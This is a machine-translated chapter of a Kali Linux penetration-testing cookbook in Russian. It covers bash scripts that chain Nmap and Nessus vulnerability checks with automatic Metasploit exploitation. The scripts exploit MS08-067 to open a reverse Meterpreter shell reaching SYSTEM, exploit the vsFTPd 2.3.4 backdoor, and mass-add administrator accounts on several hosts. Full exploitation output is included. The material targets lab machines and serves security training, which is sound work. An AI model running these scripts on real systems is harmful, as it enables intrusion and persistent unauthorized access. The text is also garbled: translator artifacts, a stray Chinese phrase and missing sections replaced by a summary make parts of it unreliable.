1 В избранное 0 Ответвления 0

OSCHINA-MIRROR/wizardforcel-kali-linux-network-scanning-cookbook-zh

Присоединиться к Gitlife
Откройте для себя и примите участие в публичных проектах с открытым исходным кодом с участием более 10 миллионов разработчиков. Приватные репозитории также полностью бесплатны :)
Присоединиться бесплатно
Клонировать/Скачать
ch8.md 44 КБ
Копировать Редактировать Web IDE Исходные данные Просмотреть построчно История
gitlife-traslator Отправлено 27.11.2024 20:48 483ccac

Глава 8. Автоматизация инструментов Kali

Автор: Джастин Хатченс Переводчик: Летающий дракон Лицензия: CC BY-NC-SA 4.0

Платформа тестирования на проникновение Kali Linux предоставляет большое количество эффективных инструментов для выполнения большинства распространённых задач в рамках тестирования на проникновение предприятий. Однако иногда одного инструмента недостаточно для выполнения поставленной задачи. По сравнению с созданием нового скрипта или программы, написание скрипта с использованием существующих инструментов и их модификация обычно более эффективно.

8.1 Анализ вывода Nmap, пригодного для поиска по шаблону (greppable)

Nmap считается одним из самых мощных и эффективных инструментов платформы Kali Linux. Однако из-за его впечатляющих и мощных функций полное сканирование портов и идентификация сервисов могут занять много времени. В контексте тестирования на проникновение лучше всего выполнять сканирование только тех портов, которые необходимы для конкретной цели, а не всех возможных TCP и UDP сервисов. Nmap предоставляет форматы вывода XML и greppable для облегчения этого процесса.

В идеале вы должны быть знакомы с этими форматами, чтобы иметь возможность извлекать нужную информацию из выходных файлов. Однако в качестве примера этот мануал предоставит скрипт, который можно использовать для извлечения IP-адресов всех систем, на которых запущен сервис на указанном порту.

Подготовка

Для использования скрипта, представленного в этом мануале, вам потребуется вывод Nmap в формате greppable. Это можно сделать, выполнив сканирование Nmap и используя опцию -oA для вывода всех форматов или -oG для вывода формата greppable. В приведённом примере несколько систем сканируются в одной подсети /24, включая Windows XP и Metasploitable2. Для получения дополнительной информации о настройке Metasploitable2 см. мануал «Установка Metasploitable2» в первой главе этой книги. Для получения дополнительной информации об установке Windows см. мануал «Установка Windows Server» в первой главе этой книги. Кроме того, для этой главы требуется текстовый редактор (например, VIM или Nano) для записи скрипта в файловую систему. Для получения дополнительной информации о написании скриптов см. мануал «Использование текстового редактора (VIM и Nano)» в первой главе этой книги.

Порядок действий

Следующий пример демонстрирует использование скрипта на языке программирования bash или интерфейса командной строки (CLI) для извлечения информации из вывода Nmap в формате greppable, что очень просто:

#! /bin/bash

if [ ! $1 ]; then echo "Usage: #./script <port #> <filename>"; 
exit; fi

port=$1 
file=$2

echo "Systems with port $port open:"

grep $port $file | grep open | cut -d " " -f 2 

Чтобы убедиться, что вы понимаете назначение скрипта, мы рассмотрим каждую строку по очереди. Первая строка указывает на интерпретатор bash, чтобы скрипт мог выполняться независимо. Вторая строка представляет собой условное выражение if ... then, которое проверяет, были ли предоставлены какие-либо параметры скрипту. Это лишь минимальная проверка ввода, которая гарантирует, что пользователь скрипта знает, как его использовать. Если скрипт выполняется без предоставления каких-либо параметров, он выводит описание использования и завершает работу. Описание использования запрашивает два параметра, включая номер порта и имя файла.

Следующие две строки присваивают каждое входное значение более понятным переменным. Первый входной параметр — это номер порта, а второй — файл вывода Nmap. Затем скрипт проверяет файл вывода Nmap greppable, чтобы определить, какие системы работают на указанном порте, если таковые имеются.

root@KaliLinux:~# ./service_identifier.sh Usage: #./script <port #> <filename>

При выполнении скрипта без каких-либо параметров выводится описание использования. Чтобы использовать скрипт, нам нужно ввести номер порта для проверки и имя файла с выводом Nmap. Приведённый пример выполняет сканирование в сети / 24 и генерирует файл вывода greppable с именем netscan.txt. Затем этот скрипт используется для анализа файла и определения, обнаруживаются ли какие-либо хосты с активными сервисами на заданном порту.

root@KaliLinux:~# ./service_identifier.sh 80 netscan.txt 
Systems with port 80 open: 
172.16.36.135 
172.16.36.225 
root@KaliLinux:~# ./service_identifier.sh 22 netscan.txt 
Systems with port 22 open: 
172.16.36.135 
172.16.36.225 172.16.36.239 
root@KaliLinux:~# ./service_identifier.sh 445 netscan.txt 
Systems with port 445 open: 
172.16.36.135 
172.16.36.225 

Показанный пример выполняет скрипт для определения хостов, работающих на портах 80, 22 и 445. Вывод скрипта показывает порт, который оценивается, а затем перечисляет IP-адреса любых систем в файле вывода, у которых есть активные сервисы на этом порту.

Принцип работы

grep — мощный инструмент командной строки, используемый в bash для извлечения определённого содержимого из вывода или заданного файла. В представленном здесь скрипте grep используется для извлечения любых экземпляров указанного номера порта из файла вывода Nmap greppable. Поскольку вывод функции grep включает в себя несколько строк информации, вывод передаётся через конвейер к функции cut, которая извлекает IP-адрес и выводит его на терминал.

8.2 Сканирование портов Nmap с использованием указанного скрипта NSE

Многие скрипты NSE (Nmap Scripting Engine) предназначены только для сервисов, работающих на определённых портах. Рассмотрим использование скрипта smb-check-vulns.nse. Этот скрипт оценивает распространённые уязвимости служб SMB, работающих через TCP порт 445. Если этот скрипт будет запущен во всей сети, необходимо будет повторить задачу, чтобы определить, открыт ли порт 445, и доступен ли SMB-сервис на каждой целевой системе. Это задача, которая, возможно, уже была выполнена на этапе оценки сканирования. Скрипт bash может использоваться для применения существующего вывода Nmap в формате greppable к запуску сервисов, специфичных для системы. В этом мануале мы покажем, как использовать скрипт для идентификации хостов в предыдущих результатах сканирования, на которых работает служба через порт TCP 445, а затем запускать скрипт smb-check-vulns.nse только на этих системах.

Подготовка

Чтобы использовать представленный здесь скрипт, вам понадобится вывод Nmap в формате greppable. Этого можно добиться, выполнив сканирование Nmap с опцией -oA для вывода всех форматов или -oG для вывода в формате greppable. Приведённый пример включает сканирование нескольких систем в одной подсети /24, включая Windows XP и Metasploitable2. Дополнительную информацию о настройке Metasploitable2 можно найти в мануале «Установка Metasploitable2» первой главы этой книги. Дополнительную информацию об установке Windows можно найти в мануале «Установка Windows Server» первой главы этой книги. Кроме того, эта глава требует использования текстового редактора, такого как VIM или Nano, для записи скрипта в файловой системе. Дополнительную информацию о написании скриптов можно найти в мануале «Использование текстового редактора (VIM и Nano)» первой главы этой книги.

Порядок действий

Следующий пример показывает, как объединить несколько задач в один скрипт на языке программирования bash. Здесь нам нужно проанализировать файл вывода Nmap в формате greppable и использовать полученную информацию для запуска скрипта Nmap NSE на разных системах. Конкретно, первая задача определяет, какие системы имеют работающие сервисы через порт TCP 445, а затем запускает скрипт smb-check-vulns.nse на каждом хосте.

#! /bin/bash

if [ ! $1 ]; then echo "Usage: #./script <file>"; exit; fi

file=$1

for x in $(grep open $file | grep 445 | cut -d " " -f 2); 
    do nmap --script smb-check-vulns.nse -p 445 $x --scriptargs=unsafe=1; 
done 

Чтобы понять назначение скрипта, рассмотрим каждую строку по порядку. Первые несколько строк похожи на те, что обсуждались в предыдущем мануале. Первая строка указывает на интерпретатор bash, вторая строка проверяет наличие предоставленных параметров, а третья строка присваивает входные значения удобным переменным. Тело скрипта отличается. Цикл for перебирает список IP-адресов, полученный с помощью функции grep. Список IP-адресов соответствует всем системам, на которых работают сервисы через порт TCP 445. Затем каждый IP-адрес в списке используется для запуска Nmap NSE скрипта. Запуская скрипт NSE только на системах, идентифицированных как работающие через порт TCP 445, значительно сокращается время, необходимое для сканирования NSE. Nmap 输出文件时, скрипт быстро анализирует файл, чтобы найти системы с работающим TCP-сервисом 445, а затем запускает на каждой системе NSE-скрипт и выводит результат в терминал.

root@KaliLinux:~# ./smb_eval.sh netscan.txt
Starting Nmap 6.25 ( http://nmap.org ) at 2014-04-10 05:45 EDT 
Nmap scan report for 172.16.36.135 
Host is up (0.00035s latency). 
PORT    STATE SERVICE 
445/tcp open  microsoft-ds 
MAC Address: 00:0C:29:3D:84:32 (VMware)

Host script results: 
| smb-check-vulns: 
|   Conficker: UNKNOWN; not Windows, or Windows with disabled browser service (CLEAN); or Windows with crashed browser service (possibly INFECTED). 
|   
|  If you know the remote system is Windows, try rebooting it and scanning 
|   
|_ again. (Error NT_STATUS_OBJECT_NAME_NOT_FOUND) 
|   SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE

|   MS06-025: NO SERVICE (the Ras RPC service is inactive) 
|_  MS07-029: NO SERVICE (the Dns Server RPC service is inactive)

Nmap done: 1 IP address (1 host up) scanned in 5.21 seconds

Starting Nmap 6.25 ( http://nmap.org ) at 2014-04-10 05:45 EDT 
Nmap scan report for 172.16.36.225 
Host is up (0.00041s latency). 
PORT    STATE SERVICE 
445/tcp open  microsoft-ds 
MAC Address: 00:0C:29:18:11:FB (VMware)

Host script results: 
| smb-check-vulns: 
|   MS08-067: VULNERABLE 
|   Conficker: Likely CLEAN 
|   regsvc DoS: NOT VULNERABLE 
|   SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE 
|   MS06-025: NO SERVICE (the Ras RPC service is inactive) 
|_  MS07-029: NO SERVICE (the Dns Server RPC service is inactive)

Nmap done: 1 IP address (1 host up) scanned in 5.18 seconds 

В приведённом примере скрипт передаёт данные в выходной файл netscan.txt. После быстрого анализа файла скрипт определяет, что две системы работают на порту 445. Затем скрипт использует NSE-скрипт smb-check-vulns для сканирования каждой службы и генерирует вывод в терминале.

Принцип работы

Этот секретный рецепт представляет собой bash-скрипт, который по существу перебирает функции grep в качестве значений для цикла for. Можно увидеть, что при самостоятельном запуске функции она извлекает только список IP-адресов хостов, на которых работает служба SMB. Затем цикл for перебирает эти IP-адреса и выполняет NSE-скрипты для каждого из них.

8.3 Сканирование уязвимостей с помощью Nmap MSE

Иногда может быть полезно создать скрипт, который объединяет сканирование уязвимостей и их использование. Сканирование на уязвимости часто приводит к ложным срабатываниям, поэтому выполнение последующего использования уязвимостей может немедленно подтвердить их наличие. В этом секретном рецепте используется bash-скрипт для выполнения NSE-скрипта smb-check-vulns, чтобы определить, существует ли уязвимость MS08-067 NetAPI на хосте, и если NSE-скрипт показывает это, Metasploit будет использоваться для автоматического тестирования этой уязвимости.

Подготовка

Для использования скрипта, представленного в этом разделе, вам необходимо использовать выходные данные Nmap в формате grepable. Это можно сделать, выполнив Nmap для сканирования портов и используя опцию -oA для вывода всех форматов или -oG для вывода формата grepable. В приведённом примере несколько систем сканируются в одном /24 подсети, включая Windows XP и Metasploitable2. Для получения дополнительной информации о настройке Metasploitable2 см. главу 1 «Установка Metasploitable2». Для получения дополнительной информации о настройке Windows-систем см. главу 1 «Установка Windows Server». Кроме того, для этого раздела требуется текстовый редактор (например, VIM или Nano) для записи скрипта в файловую систему. Для получения дополнительных сведений о написании скриптов см. главу 1 «Использование текстового редактора (VIM и Nano)».

Порядок действий

Следующий пример демонстрирует, как объединить сканирование на уязвимости и целевое использование в один процесс с использованием bash-скрипта. В этом случае NSE-скрипт smb-checkvulns.nse используется для определения, является ли система уязвимой для атаки MS08-067, а затем, если обнаруживается уязвимость, система подвергается соответствующему использованию уязвимости Metasploit.

#! /bin/bash

if [ ! $1 ]; then echo "Usage: #./script <RHOST> <LHOST> <LPORT>"; 
exit; fi

rhost=$1 
lhost=$2 
lport=$3

nmap --script smb-check-vulns.nse -p 445 $rhost --scriptargs=unsafe=1 -oN tmp_output.txt 
if [ $(grep MS08-067 tmp_output.txt | cut -d " " -f 5) = "VULNERABLE" ];
    then echo "$rhost appears to be vulnerable, exploiting with Metasploit...";   
    msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/ meterpreter/reverse_tcp RHOST=$rhost LHOST=$lhost LPORT=$lport E; 
fi 
rm tmp_output.txt  

Чтобы убедиться, что вы понимаете функциональность скрипта, мы рассмотрим каждую строку по порядку. Первые несколько строк скрипта совпадают с теми, которые обсуждались в предыдущих главах. Первая строка определяет интерпретатор, вторая проверяет ввод, третья, четвёртая и пятая строки используются для определения переменных на основе пользовательского ввода. В этом скрипте предоставленные пользователем переменные соответствуют тем, которые используются в Metasploit. Переменная RHOST должна определять IP-адрес цели, переменная LHOST должна определять IP-адрес обратного прослушивателя, а переменная LPORT должна определять локальный порт, который прослушивается. Затем первая задача, выполняемая скриптом в теле, заключается в выполнении NSE-скрипта smb-check-vulns.nse на IP-адресе целевой системы, определённом переменной RHOST. Затем результаты выводятся в временный текстовый файл в обычном формате. Затем оператор if ... then в сочетании с функцией grep проверяет, есть ли уникальная строка в выходном файле, указывающая на наличие уязвимости в системе. Если обнаружена уникальная строка, скрипт явно указывает на то, что система кажется уязвимой, а затем использует интерфейс командной строки Metasploit Framework (MSFCLI) для использования уязвимости Metasploit на цели. Наконец, после использования уязвимости, файл временного вывода Nmap удаляется из файловой системы с помощью функции rm. Команда test_n_xploit.sh bash выполняется следующим образом:

root@KaliLinux:~# ./test_n_xploit.sh 
Usage: #./script <RHOST> <LHOST> <LPORT>

Если скрипт выполняется без предоставления каких-либо параметров, он выводит соответствующее использование. Описание использования показывает, что скрипт должен выполняться с параметрами RHOST, LHOST и LPORT. Эти входные значения будут использоваться для сканирования уязвимостей NSE и (если они гарантированы) использования Metasploit для эксплуатации цели. В следующем примере скрипт используется для определения того, существует ли уязвимость на хосте с IP-адресом 172.16.36.225. Если система определяется как уязвимая, будет выполнено использование уязвимости, и соединение будет установлено с обратным обработчиком TCP Meterpreter, который ожидает на TCP-порту 4444 системы с IP-адресом 172.16.36.239.

root@KaliLinux:~# ./test_n_xploit.sh 172.16.36.225 172.16.36.239 4444

Starting Nmap 6.25 ( http://nmap.org ) at 2014-04-10 05:58 EDT 
Nmap scan report for 172.16.36.225 
Host
``` **Текст запроса:**

is up (0.00077s latency). 
PORT    STATE SERVICE 
445/tcp open  microsoft-ds
MAC Address: 00:0C:29:18:11:FB (VMware)

Host script results: 
| smb-check-vulns: 
|   MS08-067: VULNERABLE 
|   Conficker: Likely CLEAN 
|   regsvc DoS: NOT VULNERABLE 
|   SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE 
|   MS06-025: NO SERVICE (the Ras RPC service is inactive) 
|_  MS07-029: NO SERVICE (the Dns Server RPC service is inactive)

Nmap done: 1 IP address (1 host up) scanned in 5.61 seconds 172.16.36.225 appears to be vulnerable, exploiting with Metasploit... 
[*] Please wait while we load the module tree...
     ,           ,    
    /             \  
   ((__---,,,---__))   
      (_) O O (_)_________    
         \ _ /            |\    
          o_o \   M S F   | \  
               \   _____  |  *    
                |||   WW|||      
                |||     |||
                
Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with Metasploit Pro — type 'go_pro' to launch it now.

       =[ metasploit v4.6.0-dev [core:4.6 api:1.0] 
+ -- --=[ 1053 exploits - 590 auxiliary - 174 post 
+ -- --=[ 275 payloads - 28 encoders - 8 nops

PAYLOAD => windows/meterpreter/reverse_tcp 
RHOST => 172.16.36.225 
LHOST => 172.16.36.239 
LPORT => 4444

[*] Started reverse handler on 172.16.36.239:4444 
[*] Automatically detecting the target... 
[*] Fingerprint: Windows XP — Service Pack 2 — lang:English 
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX) 
[*] Attempting to trigger the vulnerability... 
[*] Sending stage (752128 bytes) to 172.16.36.225 
[*] Meterpreter session 1 opened (172.16.36.239:4444 -> 172.16.36.225:1130) at 2014-04-10 05:58:30 -0400

meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM

**Перевод текста на русский язык:**

Вывод показывает, что после завершения работы Nmap NSE скрипта будет немедленно выполнен эксплойт модуль Metasploit и на целевой системе будет возвращён интерактивный Meterpreter shell.

### Принцип работы

MSFCLI является эффективной заменой для MSF консоли, может использоваться для выполнения однострочных команд непосредственно из терминала вместо работы в интерактивной консоли. Это делает MSFCLI полезным инструментом для использования в bash скриптах. Поскольку можно выполнять NSE скрипты и использовать MSFCLI из bash терминала, можно легко написать скрипт оболочки, чтобы объединить эти две функции вместе.

## 8.4 Использование MSF уязвимости с Nessuscmd сканированием уязвимостей

Объединение NSE скриптов и эксплойтов Metasploit может облегчить работу. Количество уязвимостей, которые могут быть протестированы с помощью NSE скриптов, значительно меньше, чем количество уязвимостей, которое можно оценить с помощью специализированных программ сканирования уязвимостей (таких как Nessus). К счастью, у Nessus есть инструмент командной строки под названием Nessuscmd, который также можно легко использовать в bash. Этот секрет показывает, как можно объединить направленное сканирование уязвимостей Nessus с автоматическим использованием MSF для проверки обнаруженных уязвимостей.

### Подготовка

Для использования этого секрета необходимо иметь доступ к системе, которая предоставляет услуги уязвимостей и может быть использована для сканирования с помощью Nessus и для эксплуатации с помощью Metasploit. Приведённый пример использует бэкдор уязвимость vsFTPd 2.3.4 на сервере Metasploitable2. Для получения дополнительной информации о настройке Metasploitable2 см. главу 1 «Установка Metasploitable2».

Кроме того, этот раздел требует использования текстового редактора (например, VIM или Nano) для записи сценария в файловую систему. Для получения дополнительных сведений о написании сценариев см. главу 1 «Использование текстовых редакторов (VIM и Nano)».

### Шаги операции

Приведённый ниже пример демонстрирует, как использовать bash скрипт для объединения задач сканирования уязвимостей и эксплуатации целей. В этом случае Nessuscmd используется для запуска плагина Nessus, тестирования vsFTPd 2.3.4, чтобы определить, существует ли уязвимость на системе, а затем, если уязвимость обнаружена, выполнить соответствующий эксплойт Metasploit:

```sh
#! /bin/bash

if [ ! $1 ]; then echo "Usage: #./script <RHOST>"; exit; fi

rhost=$1

/opt/nessus/bin/nessuscmd -p 21 -i 55523 $rhost >> tmp_output.txt 
if [ $(grep 55523 output.txt | cut -d " " -f 9) = "55523" ];    
    then echo "$rhost appears to be vulnerable, exploiting with Metasploit..."
    msfcli exploit/unix/ftp/vsftpd_234_backdoor PAYLOAD=cmd/unix/ 
    interact RHOST=$rhost E; 
fi 
rm tmp_output.txt

Начало скрипта очень похоже на сценарии сканирования уязвимостей и использования эксплойта, он объединяет NSE сканирование с предыдущим секретом, использующим MSF эксплуатацию. Однако, поскольку в этом конкретном сценарии используется другой тип полезной нагрузки, пользователь должен предоставить единственный параметр — значение RHOST, которое должно быть IP-адресом целевой системы. Тело скрипта начинается с выполнения инструмента Nessuscmd. Параметр -p указывает порт, который оценивается, а параметр -i указывает номер плагина. Плагин 55523 соответствует бэкдору Nessus аудита vsFTPd 2.3.4. Затем вывод Nessuscmd перенаправляется во временный выходной файл с именем tmp_output.txt. Если на целевой системе присутствует эта уязвимость, то вывод скрипта вернёт только номер плагина. Поэтому следующая строка использует условное выражение if ... then, чтобы связать последовательность grep, чтобы определить номер плагина в выводе. Если в выводе возвращается номер плагина, это означает, что система должна иметь уязвимость, и соответствующий эксплойт модуля Metasploit будет выполнен. Использование Nessus для сканирования уязвимостей и Metasploit для многопоточного удалённого использования уязвимости

В запросе представлен текст, связанный с использованием инструментов для тестирования на проникновение. В тексте описывается использование инструмента Nessuscmd для сканирования системы на наличие уязвимостей, а также использование Metasploit Framework для удалённого использования обнаруженных уязвимостей.

Текст описывает процесс подготовки к использованию инструментов, включая настройку нескольких систем с одинаковыми уязвимостями и использование текстового редактора для написания скрипта. Затем приводится пример скрипта на языке bash, который позволяет использовать одну и ту же уязвимость на нескольких системах одновременно. Скрипт использует цикл for для перебора списка IP-адресов систем, на которых обнаружена уязвимость, и запускает на каждой системе отдельный экземпляр Metasploit. Это позволяет выполнять несколько процессов параллельно и получать доступ к нескольким системам одновременно.

Также в тексте упоминается использование Meterpreter shell для взаимодействия с системой после успешного использования уязвимости.

Примечание: В тексте запроса присутствуют фрагменты кода, которые не были переведены. IP-адрес открывает новый терминал GNOME. После завершения каждого процесса эксплуатации следует инициировать ICMP-ответ на целевой системе:

root@KaliLinux:~# ./listener.py 
Listening for Incoming ICMP Traffic. Use Ctrl+C to stop scanning 
172.16.36.132 is exploitable 
172.16.36.158 is exploitable 
172.16.36.225 is exploitable

Если атака успешна, Python-скрипт мониторинга распознает созданный трафик и заносит каждый исходный IP-адрес ICMP в список доступных для эксплуатации.

Принцип работы

ICMP-трафик представляется неинтуитивным способом проверки доступности системы для эксплуатации. Однако он работает достаточно хорошо. Одиночный ICMP-запрос не оставляет следов эксплуатации на целевой системе и не требует чрезмерных затрат. Кроме того, установка значения TTL равным 15 вряд ли вызовет ложные срабатывания, поскольку почти все системы начинают с TTL 128 или выше.

Создание административных учётных записей с использованием многопоточной эксплуатации MSF

Этот секрет показывает, как использовать bash для эксплуатации одной уязвимости на нескольких системах и добавления нового администратора на каждую систему. Эта техника может быть использована для доступа к скомпрометированным системам позже через интегрированные терминальные службы или аутентификацию SMB.

Подготовка

Для использования скрипта, демонстрируемого в этом секрете, вам потребуется доступ к нескольким системам, каждая из которых имеет одинаковую уязвимость, доступную для эксплуатации с помощью Metasploit. Приведённый пример копирует три экземпляра уязвимости MS08-067 на виртуальной машине Windows XP. Для получения дополнительной информации о настройке систем Windows обратитесь к разделу «Установка Windows Server» в первой главе этой книги. Также для этого раздела требуется текстовый редактор (например, VIM или Nano) для записи скрипта в файловую систему. Дополнительную информацию о написании скриптов можно найти в разделе «Использование текстового редактора (VIM и Nano)» в первой главе этой книги.

Шаги операции

Следующий пример демонстрирует использование bash-скрипта для одновременной эксплуатации нескольких экземпляров одной уязвимости. В частности, этот скрипт можно использовать для эксплуатации нескольких экземпляров уязвимости NetAPI MS08_067 с помощью ввода списка IP-адресов:

#!/bin/bash

if [ ! $1 ]; then echo "Usage: #./script <host file> <username> <password>"; 
exit; fi

iplist=$1 
user=$2 
pass=$3

for ip in $(cat $iplist) 
do   
    gnome-terminal -x msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/exec CMD="cmd.exe /c \"net user $user $pass /add && net localgroup administrators $user /add\"" RHOST=$ip E   
    echo "Exploiting $ip and adding user $user" 
done 

Из-за различий в полезной нагрузке этот скрипт отличается от предыдущих многопоточных скриптов эксплуатации. Здесь две команды выполняются последовательно после успешной эксплуатации. Первая команда создаёт новую учётную запись пользователя с именем «hutch» и определяет связанный пароль. Вторая команда добавляет вновь созданную учётную запись пользователя в локальную группу «Администраторы»:

root@KaliLinux:~# ./multipwn.sh 
Usage: #./script <host file> <username> <password> 
root@KaliLinux:~# ./multipwn.sh iplist.txt hutch P@33word 
Exploiting 172.16.36.132 and adding user hutch 
Exploiting 172.16.36.158 and adding user hutch 
Exploiting 172.16.36.225 and adding user hutch

При выполнении скрипта без параметров выводится соответствующее использование. Описание использования указывает, что скрипт должен выполняться с одним параметром, который указывает имя файла текстового файла, содержащего список целевых IP-адресов. После выполнения с этим параметром будет запущен ряд новых терминалов. Каждый из этих терминалов будет запускать последовательность эксплуатации для одного из IP-адресов в списке. Исходный терминал выполнения будет отображать список процессов во время выполнения и явно добавлять новые учётные записи пользователей в каждом процессе. После завершения последовательности эксплуатации в каждом терминале можно получить доступ к системе с помощью таких интегрированных терминальных служб, как RDP, или путём удалённой аутентификации SMB. Чтобы продемонстрировать добавление учётной записи, вспомогательный модуль Metasploit SMB_Login используется для удалённого входа в скомпрометированную систему с новыми учётными данными:

msf > use auxiliary/scanner/smb/smb_login 
msf  auxiliary(smb_login) > set SMBUser hutch 
SMBUser => hutch 
msf  auxiliary(smb_login) > set SMBPass P@33word 
SMBPass => P@33word 
msf  auxiliary(smb_login) > set RHOSTS 172.16.36.225 
RHOSTS => 172.16.36.225 
msf  auxiliary(smb_login) > run

[*] 172.16.36.225:445 SMB - Starting SMB login bruteforce 
[+] 172.16.36.225:445 - SUCCESSFUL LOGIN (Windows 5.1) hutch :  [STATUS_ SUCCESS] 
[*] Username is case insensitive 
[*] Domain is ignored 
[*] Scanned 1 of 1 hosts (100% complete) 
[*] Auxiliary module execution completed

Результаты вспомогательного модуля SMB_Login показывают, что вход с использованием вновь созданной учётной записи был успешным. Затем эту новую учётную запись можно использовать для дальнейших злонамеренных целей или использовать скрипт для проверки существования учётной записи и подтверждения эксплуатации уязвимости.

Принцип работы

Добавление учётных записей пользователей на каждой скомпрометированной системе позволяет злоумышленнику продолжить действия на этой системе. Этот метод имеет свои преимущества и недостатки. Добавление новой учётной записи на скомпрометированную систему быстрее, чем компрометация существующей учётной записи, и позволяет немедленно получить доступ к существующим удалённым службам (таким как RDP). Однако добавление новой учётной записи не является полностью скрытым и иногда может вызывать срабатывание основанных на хосте систем обнаружения вторжений.

1
https://api.gitlife.ru/oschina-mirror/wizardforcel-kali-linux-network-scanning-cookbook-zh.git
git@api.gitlife.ru:oschina-mirror/wizardforcel-kali-linux-network-scanning-cookbook-zh.git
oschina-mirror
wizardforcel-kali-linux-network-scanning-cookbook-zh
wizardforcel-kali-linux-network-scanning-cookbook-zh
master